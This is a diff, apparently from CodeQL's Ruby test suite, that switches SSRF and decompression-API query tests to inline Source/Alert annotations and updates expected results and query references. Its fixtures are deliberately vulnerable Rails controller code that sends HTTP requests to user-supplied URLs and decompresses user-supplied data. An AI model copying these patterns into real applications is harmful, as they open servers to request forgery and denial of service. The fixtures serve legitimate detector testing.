ServerSideRequestForgery.rb:10:32:10:37 | call to params | ServerSideRequestForgery.rb:11:31:11:62 | "#{...}/logins" | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:10:32:10:37 | call to params | user-provided value | -| ServerSideRequestForgery.rb:15:33:15:44 | ...[...] | ServerSideRequestForgery.rb:15:33:15:38 | call to params | ServerSideRequestForgery.rb:15:33:15:44 | ...[...] | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:15:33:15:38 | call to params | user-provided value | -| ServerSideRequestForgery.rb:20:45:20:56 | ...[...] | ServerSideRequestForgery.rb:20:45:20:50 | call to params | ServerSideRequestForgery.rb:20:45:20:56 | ...[...] | The URL of this request depends on a $@. | ServerSideRequestForgery.rb:20:45:20:50 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref index 34f3a2952f2..615ca40af22 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.qlref @@ -1 +1,2 @@ -queries/security/cwe-918/ServerSideRequestForgery.ql +query: queries/security/cwe-918/ServerSideRequestForgery.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb index ff99ffe1801..f2ff6825b7d 100644 --- a/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb +++ b/ruby/ql/test/query-tests/security/cwe-918/ServerSideRequestForgery.rb @@ -7,17 +7,17 @@ class PostsController < ActionController::Base user = params[:user_id] # BAD - user can control the entire URL of the request - users_service_domain = params[:users_service_domain] - response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body + users_service_domain = params[:users_service_domain] # $ Source + response = Excon.post("#{users_service_domain}/logins", body: {user_id: user}).body # $ Alert token = JSON.parse(response)["token"] # BAD - user can control the entire URL for the request using Faraday library - conn = Faraday.new(url: params[:url]) + conn = Faraday.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] # BAD - user can control the entire URL for the request using Faraday::Connection library - conn = Faraday::Connection.new(url: params[:url]) + conn = Faraday::Connection.new(url: params[:url]) # $ Alert resp = conn.post token = JSON.parse(resp)["token"] diff --git a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.expected b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.expected index 20be59524bf..67bfd8f8762 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.expected +++ b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.expected @@ -1,3 +1,6 @@ +#select +| decompression_api.rb:5:31:5:34 | path | decompression_api.rb:4:16:4:21 | call to params | decompression_api.rb:5:31:5:34 | path | This call to $@ is unsafe because user-controlled data is used to set the object being decompressed, which could lead to a denial of service attack or malicious code extracted from an unknown source. | decompression_api.rb:5:9:5:35 | call to inflate | inflate | +| decompression_api.rb:15:31:15:43 | ...[...] | decompression_api.rb:15:31:15:36 | call to params | decompression_api.rb:15:31:15:43 | ...[...] | This call to $@ is unsafe because user-controlled data is used to set the object being decompressed, which could lead to a denial of service attack or malicious code extracted from an unknown source. | decompression_api.rb:15:9:15:44 | call to open_buffer | open_buffer | edges | decompression_api.rb:4:9:4:12 | path | decompression_api.rb:5:31:5:34 | path | provenance | | | decompression_api.rb:4:16:4:21 | call to params | decompression_api.rb:4:16:4:28 | ...[...] | provenance | | @@ -11,6 +14,3 @@ nodes | decompression_api.rb:15:31:15:36 | call to params | semmle.label | call to params | | decompression_api.rb:15:31:15:43 | ...[...] | semmle.label | ...[...] | subpaths -#select -| decompression_api.rb:5:31:5:34 | path | decompression_api.rb:4:16:4:21 | call to params | decompression_api.rb:5:31:5:34 | path | This call to $@ is unsafe because user-controlled data is used to set the object being decompressed, which could lead to a denial of service attack or malicious code extracted from an unknown source. | decompression_api.rb:5:9:5:35 | call to inflate | inflate | -| decompression_api.rb:15:31:15:43 | ...[...] | decompression_api.rb:15:31:15:36 | call to params | decompression_api.rb:15:31:15:43 | ...[...] | This call to $@ is unsafe because user-controlled data is used to set the object being decompressed, which could lead to a denial of service attack or malicious code extracted from an unknown source. | decompression_api.rb:15:9:15:44 | call to open_buffer | open_buffer | diff --git a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref index feb45b82220..4d63d1ce624 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref +++ b/ruby/ql/test/query-tests/security/decompression-api/DecompressionApi.qlref @@ -1 +1,2 @@ -experimental/decompression-api/DecompressionApi.ql \ No newline at end of file +query: experimental/decompression-api/DecompressionApi.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb index 6c1daa144e2..18da3c4bc02 100644 --- a/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb +++ b/ruby/ql/test/query-tests/security/decompression-api/decompression_api.rb @@ -1,8 +1,8 @@ class TestController < ActionController::Base # this should get picked up def unsafe_zlib_unzip - path = params[:file] - Zlib::Inflate.inflate(path) + path = params[:file] # $ Source + Zlib::Inflate.inflate(path) # $ Alert end # this should not get picked up @@ -12,7 +12,7 @@ class TestController < ActionController::Base # this should get picked up def unsafe_zlib_unzip - Zip::File.open_buffer(params[:file]) + Zip::File.open_buffer(params[:file]) # $ Alert end # this should not get picked up diff --git a/ruby/ql/test/query-tests/summary/LinesOfCode.qlref b/ruby/ql/test/query-tests/summary/LinesOfCode.qlref index 84278cfc96b..0478c9ec2f5 100644 --- a/ruby/ql/test/query-tests/summary/LinesOfCode.qlref +++ b/ruby/ql/test/query-tests/summary/LinesOfCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfCode.ql \ No newline at end of file +query: queries/summary/LinesOfCode.ql diff --git a/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref b/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref index 4114db632a2..45caa1400d7 100644 --- a/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref +++ b/ruby/ql/test/query-tests/summary/LinesOfUserCode.qlref @@ -1 +1 @@ -queries/summary/LinesOfUserCode.ql \ No newline at end of file +query: queries/summary/LinesOfUserCode.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref index 8407cd817f1..e1f3141a439 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeAccessPaths.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeAccessPaths.ql +query: utils/modeleditor/FrameworkModeAccessPaths.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref index 91b8e89b85f..ec216021687 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/FrameworkModeEndpoints.qlref @@ -1 +1 @@ -utils/modeleditor/FrameworkModeEndpoints.ql +query: utils/modeleditor/FrameworkModeEndpoints.ql diff --git a/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref b/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref index 2ad420fa620..07e78083876 100644 --- a/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref +++ b/ruby/ql/test/query-tests/utils/modeleditor/GenerateModel.qlref @@ -1 +1 @@ -queries/modeling/GenerateModel.ql +query: queries/modeling/GenerateModel.ql